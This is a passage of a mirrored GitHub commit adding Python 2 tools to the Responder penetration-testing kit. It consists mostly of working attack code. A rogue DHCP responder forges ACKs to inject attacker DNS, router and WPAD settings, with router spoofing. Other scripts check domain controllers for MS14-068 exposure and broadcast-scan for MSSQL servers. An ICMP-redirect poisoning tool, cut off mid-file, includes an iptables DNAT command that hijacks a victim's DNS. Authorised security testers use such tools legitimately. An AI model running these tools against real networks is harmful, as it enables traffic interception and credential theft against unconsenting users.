mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-21 05:43:35 -07:00
Many changes, bug fixes and improvements. scripts in 'tools' still need to be fixed.
This commit is contained in:
parent
050edc22f3
commit
c6de2e9d3a
32 changed files with 1341 additions and 456 deletions
367
tools/DHCP.py
Normal file
367
tools/DHCP.py
Normal file
|
@ -0,0 +1,367 @@
|
|||
#! /usr/bin/env python
|
||||
# This utility is part of NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,struct,socket,re,optparse,ConfigParser,os
|
||||
from odict import OrderedDict
|
||||
from socket import inet_aton, inet_ntoa
|
||||
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -d pwned.com -p 10.20.30.40 -s 10.20.30.1 -r 10.20.40.1', prog=sys.argv[0],)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
parser.add_option('-d', '--dnsname',action="store", help="DNS name to inject, if you don't want to inject a DNS server, provide the original one.", metavar="pwned.com", default="pwned.com",dest="DNSNAME")
|
||||
parser.add_option('-r', '--router',action="store", help="The ip address of the router or yours if you want to intercept traffic.", metavar="10.20.1.1",dest="RouterIP")
|
||||
parser.add_option('-p', '--primary',action="store", help="The ip address of the original primary DNS server or yours", metavar="10.20.1.10",dest="DNSIP")
|
||||
parser.add_option('-s', '--secondary',action="store", help="The ip address of the original secondary DNS server or yours", metavar="10.20.1.11",dest="DNSIP2")
|
||||
parser.add_option('-n', '--netmask',action="store", help="The netmask of this network", metavar="255.255.255.0", default="255.255.255.0", dest="Netmask")
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
parser.add_option('-w', '--wpadserver',action="store", help="Your WPAD server, finish the string with '\\n'", metavar="\"http://wpadsrv/wpad.dat\\n\"", default="\n", dest="WPAD")
|
||||
parser.add_option('-S',action="store_true", help="Spoof the router ip address",dest="Spoof")
|
||||
parser.add_option('-R',action="store_true", help="Respond to DHCP Requests, inject linux clients (very noisy, this is sent on 255.255.255.255)", dest="Request")
|
||||
options, args = parser.parse_args()
|
||||
|
||||
def ShowWelcome():
|
||||
Message = 'DHCP INFORM Take Over 0.2\nAuthor: Laurent Gaffie\nPlease send bugs/comments/pcaps to: lgaffie@trustwave.com\nBy default, this script will only inject a new DNS/WPAD server to a Windows <= XP/2003 machine.\nTo inject a DNS server/domain/route on a Windows >= Vista and any linux box, use -R (can be noisy)\n\033[1m\033[31mUse Responder.conf\'s RespondTo setting for in-scope only targets\033[0m\n'
|
||||
print Message
|
||||
|
||||
if options.Responder_IP is None:
|
||||
print "\n\033[1m\033[31m-i mandatory option is missing, please provide your IP address.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.Interface is None:
|
||||
print "\n\033[1m\033[31m-I mandatory option is missing, please provide an interface.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.RouterIP is None:
|
||||
print "\n\033[1m\033[31m-r mandatory option is missing, please provide the router's IP.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP is None:
|
||||
print "\n\033[1m\033[31m-p mandatory option is missing, please provide the primary DNS server ip address or yours.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.DNSIP2 is None:
|
||||
print "\n\033[1m\033[31m-s mandatory option is missing, please provide the secondary DNS server ip address or yours.\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
ShowWelcome()
|
||||
|
||||
#Config parsing
|
||||
ResponderPATH = os.path.dirname(__file__)
|
||||
config = ConfigParser.ConfigParser()
|
||||
config.read(os.path.join(ResponderPATH,'Responder.conf'))
|
||||
RespondTo = config.get('Responder Core', 'RespondTo').strip()
|
||||
|
||||
#Setting some vars
|
||||
Interface = options.Interface
|
||||
Responder_IP = options.Responder_IP
|
||||
ROUTERIP = options.RouterIP
|
||||
NETMASK = options.Netmask
|
||||
DHCPSERVER = options.Responder_IP
|
||||
DNSIP = options.DNSIP
|
||||
DNSIP2 = options.DNSIP2
|
||||
DNSNAME = options.DNSNAME
|
||||
WPADSRV = options.WPAD
|
||||
Spoof = options.Spoof
|
||||
Request = options.Request
|
||||
|
||||
if Spoof:
|
||||
DHCPSERVER = ROUTERIP
|
||||
|
||||
def SpoofIP(Spoof):
|
||||
if Spoof:
|
||||
return ROUTERIP
|
||||
else:
|
||||
return Responder_IP
|
||||
|
||||
def RespondToSpecificHost(RespondTo):
|
||||
if len(RespondTo)>=1 and RespondTo != ['']:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def RespondToIPScope(RespondTo, ClientIp):
|
||||
if ClientIp in RespondTo:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
|
||||
#####################################################################
|
||||
# Server Stuff
|
||||
#####################################################################
|
||||
|
||||
class IPHead(Packet):
|
||||
fields = OrderedDict([
|
||||
("Version", "\x45"),
|
||||
("DiffServices", "\x00"),
|
||||
("TotalLen", "\x00\x00"),
|
||||
("Ident", "\x00\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("TTL", "\x40"),
|
||||
("Protocol", "\x11"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("SrcIP", ""),
|
||||
("DstIP", ""),
|
||||
])
|
||||
|
||||
class UDP(Packet):
|
||||
fields = OrderedDict([
|
||||
("SrcPort", "\x00\x43"),
|
||||
("DstPort", "\x00\x44"),
|
||||
("Len", "\x00\x00"),
|
||||
("Checksum", "\x00\x00"),
|
||||
("Data", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Len"] = struct.pack(">h",len(str(self.fields["Data"]))+8)##include udp packet.
|
||||
|
||||
class DHCPACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x22\x1b\xe0\x1a"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("DHCPCode", "\x35"), #DHCP Message
|
||||
("DHCPCodeLen", "\x01"),
|
||||
("DHCPOpCode", "\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op51", "\x33"),
|
||||
("Op51Len", "\x04"),
|
||||
("Op51Str", "\x00\x01\x51\x80"), #Lease time, 1 day.
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", DNSNAME), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", WPADSRV), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
("Padding", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||
|
||||
class DHCPInformACK(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x02"),
|
||||
("HdwType", "\x01"),
|
||||
("HdwLen", "\x06"),
|
||||
("Hops", "\x00"),
|
||||
("Tid", "\x22\x1b\xe0\x1a"),
|
||||
("ElapsedSec", "\x00\x00"),
|
||||
("BootpFlags", "\x00\x00"),
|
||||
("ActualClientIP", "\x00\x00\x00\x00"),
|
||||
("GiveClientIP", "\x00\x00\x00\x00"),
|
||||
("NextServerIP", "\x00\x00\x00\x00"),
|
||||
("RelayAgentIP", "\x00\x00\x00\x00"),
|
||||
("ClientMac", "\xb8\x76\x3f\xbd\xdd\x05"),
|
||||
("ClientMacPadding", "\x00" *10),
|
||||
("ServerHostname", "\x00" * 64),
|
||||
("BootFileName", "\x00" * 128),
|
||||
("MagicCookie", "\x63\x82\x53\x63"),
|
||||
("Op53", "\x35\x01\x05"), #Msgtype(ACK)
|
||||
("Op54", "\x36"),
|
||||
("Op54Len", "\x04"),
|
||||
("Op54Str", ""), #DHCP Server
|
||||
("Op1", "\x01"),
|
||||
("Op1Len", "\x04"),
|
||||
("Op1Str", ""), #Netmask
|
||||
("Op15", "\x0f"),
|
||||
("Op15Len", "\x0e"),
|
||||
("Op15Str", DNSNAME), #DNS Name
|
||||
("Op3", "\x03"),
|
||||
("Op3Len", "\x04"),
|
||||
("Op3Str", ""), #Router
|
||||
("Op6", "\x06"),
|
||||
("Op6Len", "\x08"),
|
||||
("Op6Str", ""), #DNS Servers
|
||||
("Op252", "\xfc"),
|
||||
("Op252Len", "\x04"),
|
||||
("Op252Str", WPADSRV), #Wpad Server.
|
||||
("Op255", "\xff"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Op54Str"] = inet_aton(DHCPSERVER)
|
||||
self.fields["Op1Str"] = inet_aton(NETMASK)
|
||||
self.fields["Op3Str"] = inet_aton(ROUTERIP)
|
||||
self.fields["Op6Str"] = inet_aton(DNSIP)+inet_aton(DNSIP2)
|
||||
self.fields["Op15Len"] = struct.pack(">b",len(DNSNAME))
|
||||
self.fields["Op252Len"] = struct.pack(">b",len(WPADSRV))
|
||||
|
||||
def ParseMac(data):
|
||||
return '\nDst mac:%s SrcMac:%s'%(data[0][0:6].encode('hex'),data[0][6:12].encode('hex'))
|
||||
|
||||
def IsUDP(data):
|
||||
if data[0][23:24] == "\x11":
|
||||
return True
|
||||
if data[0][23:24] == "\x06":
|
||||
return False
|
||||
|
||||
def ParseSrcDSTAddr(data):
|
||||
SrcIP = inet_ntoa(data[0][26:30])
|
||||
DstIP = inet_ntoa(data[0][30:34])
|
||||
SrcPort = struct.unpack('>H',data[0][34:36])[0]
|
||||
DstPort = struct.unpack('>H',data[0][36:38])[0]
|
||||
return SrcIP,SrcPort,DstIP,DstPort
|
||||
|
||||
def FindIP(data):
|
||||
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data))
|
||||
return ''.join(IP[0:4])
|
||||
|
||||
def ParseDHCPCode(data):
|
||||
PTid = data[4:8]
|
||||
Seconds = data[8:10]
|
||||
CurrentIP = inet_ntoa(data[12:16])
|
||||
RequestedIP = inet_ntoa(data[16:20])
|
||||
MacAddr = data[28:34]
|
||||
OpCode = data[242:243]
|
||||
RequestIP = data[245:249]
|
||||
if OpCode == "\x08":
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=inet_aton(CurrentIP))
|
||||
p = DHCPInformACK(Tid=PTid,ClientMac=MacAddr, ActualClientIP=inet_aton(CurrentIP), GiveClientIP=inet_aton("0.0.0.0"), NextServerIP=inet_aton("0.0.0.0"),RelayAgentIP=inet_aton("0.0.0.0"),BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(CurrentIP,68))
|
||||
return '\033[1m\033[31mDHCP Inform received:\033[0m Current IP:%s Requested IP:%s Mac Address:%s Tid:%s'%(CurrentIP,RequestedIP,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
if OpCode == "\x03":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mIn-scope DHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00",ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,68))
|
||||
return '\033[1m\033[31mDHCP Request received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
if OpCode == "\x01":
|
||||
if Request:
|
||||
IP = FindIP(data)
|
||||
if IP:
|
||||
IPConv = inet_ntoa(IP)
|
||||
if RespondToSpecificHost(RespondTo) and RespondToIPScope(RespondTo, IPConv):
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mIn-scope DHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
if RespondToSpecificHost(RespondTo) == False:
|
||||
i = IPHead(SrcIP = inet_aton(SpoofIP(Spoof)), DstIP=IP)
|
||||
p = DHCPACK(Tid=PTid,ClientMac=MacAddr, GiveClientIP=IP,BootpFlags="\x00\x00", DHCPOpCode="\x02", ElapsedSec=Seconds)
|
||||
p.calculate()
|
||||
u = UDP(Data = p)
|
||||
u.calculate()
|
||||
for x in range(1):
|
||||
SendDHCP(str(i)+str(u),(IPConv,0))
|
||||
return '\033[1m\033[31mDHCP Discover received:\033[0m Requested IP: %s Mac Address: %s Tid: %s'%(IPConv,'-'.join('%02x' % ord(m) for m in MacAddr),'0x'+PTid.encode('hex'))
|
||||
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def SendDHCP(packet,Host):
|
||||
Protocol = 0x0800
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
||||
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
|
||||
s.sendto(packet, Host)
|
||||
|
||||
def SniffUDPMac():
|
||||
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
|
||||
Protocol = 0x0800
|
||||
s.bind((Interface, Protocol))
|
||||
while True:
|
||||
data = s.recvfrom(65535)
|
||||
if IsUDP(data):
|
||||
SrcIP,SrcPort,DstIP,DstPort = ParseSrcDSTAddr(data)
|
||||
if SrcPort == 67 or DstPort == 67:
|
||||
Message = ParseDHCPCode(data[0][42:])
|
||||
if Message:
|
||||
print 'DHCP Packet:\nSource IP/Port : %s:%s Destination IP/Port: %s:%s'%(SrcIP,SrcPort,DstIP,DstPort)
|
||||
print Message
|
||||
|
||||
|
||||
SniffUDPMac()
|
119
tools/FindSMB2UPTime.py
Normal file
119
tools/FindSMB2UPTime.py
Normal file
|
@ -0,0 +1,119 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import datetime, struct
|
||||
import sys,socket,struct
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def GetBootTime(data):
|
||||
Filetime = int(struct.unpack('<q',data)[0])
|
||||
t = divmod(Filetime - 116444736000000000, 10000000)
|
||||
time = datetime.datetime.fromtimestamp(t[0])
|
||||
return time, time.strftime('%Y-%m-%d %H:%M:%S')
|
||||
|
||||
|
||||
def IsDCVuln(t):
|
||||
Date = datetime.datetime(2014, 11, 17, 0, 30)
|
||||
if t[0] < Date:
|
||||
print "DC is up since:", t[1]
|
||||
print "This DC is vulnerable to MS14-068"
|
||||
else:
|
||||
print "DC is up since:", t[1]
|
||||
|
||||
def NbtLen(data):
|
||||
Len = struct.pack(">i", len(data))
|
||||
return Len
|
||||
|
||||
from packets import SMBHeader
|
||||
"""
|
||||
class SMBHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("Proto", "\xff\x53\x4d\x42"),
|
||||
("Cmd", "\x72"),
|
||||
("Error-Code", "\x00\x00\x00\x00" ),
|
||||
("Flag1", "\x10"),
|
||||
("Flag2", "\x00\x00"),
|
||||
("Pidhigh", "\x00\x00"),
|
||||
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Reserved", "\x00\x00"),
|
||||
("TID", "\x00\x00"),
|
||||
("PID", "\xff\xfe"),
|
||||
("UID", "\x00\x00"),
|
||||
("MID", "\x00\x00"),
|
||||
])
|
||||
"""
|
||||
|
||||
class SMBNego(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x00"),
|
||||
("Bcc", "\x62\x00"),
|
||||
("Data", "")
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
|
||||
|
||||
class SMBNegoData(Packet):
|
||||
fields = OrderedDict([
|
||||
("StrType","\x02" ),
|
||||
("dialect", "NT LM 0.12\x00"),
|
||||
("StrType1","\x02"),
|
||||
("dialect1", "SMB 2.002\x00"),
|
||||
("StrType2","\x02"),
|
||||
("dialect2", "SMB 2.???\x00"),
|
||||
])
|
||||
|
||||
def run(host):
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(host)
|
||||
s.settimeout(5)
|
||||
h = SMBHeader(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
|
||||
n = SMBNego(Data = SMBNegoData())
|
||||
n.calculate()
|
||||
packet0 = str(h)+str(n)
|
||||
buffer0 = NbtLen(packet0)+packet0
|
||||
s.send(buffer0)
|
||||
try:
|
||||
data = s.recv(1024)
|
||||
if data[4:5] == "\xff":
|
||||
print "This host doesn't support SMBv2"
|
||||
if data[4:5] == "\xfe":
|
||||
IsDCVuln(GetBootTime(data[116:124]))
|
||||
except Exception:
|
||||
s.close()
|
||||
raise
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv)<=1:
|
||||
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
|
||||
host = sys.argv[1],445
|
||||
run(host)
|
39
tools/FindSQLSrv.py
Normal file
39
tools/FindSQLSrv.py
Normal file
|
@ -0,0 +1,39 @@
|
|||
#! /usr/bin/env python
|
||||
# Created by Laurent Gaffie
|
||||
# This file is part of the Responder toolkit.
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
from socket import *
|
||||
|
||||
print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
|
||||
|
||||
s = socket(AF_INET,SOCK_DGRAM)
|
||||
s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
|
||||
s.settimeout(2)
|
||||
s.sendto('\x02',('255.255.255.255',1434))
|
||||
try:
|
||||
while 1:
|
||||
data, address = s.recvfrom(8092)
|
||||
if not data:
|
||||
break
|
||||
else:
|
||||
print "===============================================================\nHost details:",address[0]
|
||||
print data[2:]
|
||||
print "===============================================================\n"
|
||||
except:
|
||||
pass
|
||||
|
||||
|
266
tools/Icmp-Redirect.py
Normal file
266
tools/Icmp-Redirect.py
Normal file
|
@ -0,0 +1,266 @@
|
|||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys,socket,struct,optparse,random,pipes
|
||||
from socket import *
|
||||
from odict import OrderedDict
|
||||
from random import randrange
|
||||
from time import sleep
|
||||
from subprocess import call
|
||||
from pipes import quote
|
||||
|
||||
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
|
||||
prog=sys.argv[0],
|
||||
)
|
||||
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP")
|
||||
|
||||
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
|
||||
|
||||
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
|
||||
|
||||
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
|
||||
|
||||
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
|
||||
|
||||
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
|
||||
|
||||
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
|
||||
|
||||
options, args = parser.parse_args()
|
||||
|
||||
if options.Responder_IP is None:
|
||||
print "-i mandatory option is missing.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.OriginalGwAddr is None:
|
||||
print "-g mandatory option is missing, please provide the original gateway address.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.VictimIP is None:
|
||||
print "-t mandatory option is missing, please provide a target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.Interface is None:
|
||||
print "-I mandatory option is missing, please provide your network interface.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.ToThisHost is None:
|
||||
print "-r mandatory option is missing, please provide a destination target.\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
||||
if options.AlternateGwAddr is None:
|
||||
AlternateGwAddr = options.Responder_IP
|
||||
|
||||
#Setting some vars.
|
||||
Responder_IP = options.Responder_IP
|
||||
OriginalGwAddr = options.OriginalGwAddr
|
||||
AlternateGwAddr = options.AlternateGwAddr
|
||||
VictimIP = options.VictimIP
|
||||
ToThisHost = options.ToThisHost
|
||||
ToThisHost2 = options.ToThisHost2
|
||||
Interface = options.Interface
|
||||
|
||||
def Show_Help(ExtraHelpData):
|
||||
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n"
|
||||
help+= ExtraHelpData
|
||||
print help
|
||||
|
||||
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,Responder_IP)
|
||||
|
||||
class Packet():
|
||||
fields = OrderedDict([
|
||||
("data", ""),
|
||||
])
|
||||
def __init__(self, **kw):
|
||||
self.fields = OrderedDict(self.__class__.fields)
|
||||
for k,v in kw.items():
|
||||
if callable(v):
|
||||
self.fields[k] = v(self.fields[k])
|
||||
else:
|
||||
self.fields[k] = v
|
||||
def __str__(self):
|
||||
return "".join(map(str, self.fields.values()))
|
||||
|
||||
def GenCheckSum(data):
|
||||
s = 0
|
||||
for i in range(0, len(data), 2):
|
||||
q = ord(data[i]) + (ord(data[i+1]) << 8)
|
||||
f = s+q
|
||||
s = (f & 0xffff) + (f >> 16)
|
||||
return struct.pack("<H",~s & 0xffff)
|
||||
|
||||
#####################################################################
|
||||
#ARP Packets
|
||||
#####################################################################
|
||||
class EthARP(Packet):
|
||||
fields = OrderedDict([
|
||||
("DstMac", "\xff\xff\xff\xff\xff\xff"),
|
||||
("SrcMac", ""),
|
||||
("Type", "\x08\x06" ), #ARP
|
||||
|
||||
])
|
||||
|
||||
class ARPWhoHas(Packet):
|
||||
fields = OrderedDict([
|
||||
("HwType", "\x00\x01"),
|
||||
("ProtoType", "\x08\x00" ), #IP
|
||||
("MacLen", "\x06"),
|
||||
("IPLen", "\x04"),
|
||||
("OpCode", "\x00\x01"),
|
||||
("SenderMac", ""),
|
||||
("SenderIP", "\x00\xff\x53\x4d"),
|
||||
("DstMac", "\x00\x00\x00\x00\x00\x00"),
|
||||
("DstIP", "\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["DstIP"] = inet_aton(self.fields["DstIP"])
|
||||
self.fields["SenderIP"] = inet_aton(Responder_IP)
|
||||
|
||||
#####################################################################
|
||||
#ICMP Redirect Packets
|
||||
#####################################################################
|
||||
class Eth2(Packet):
|
||||
fields = OrderedDict([
|
||||
("DstMac", ""),
|
||||
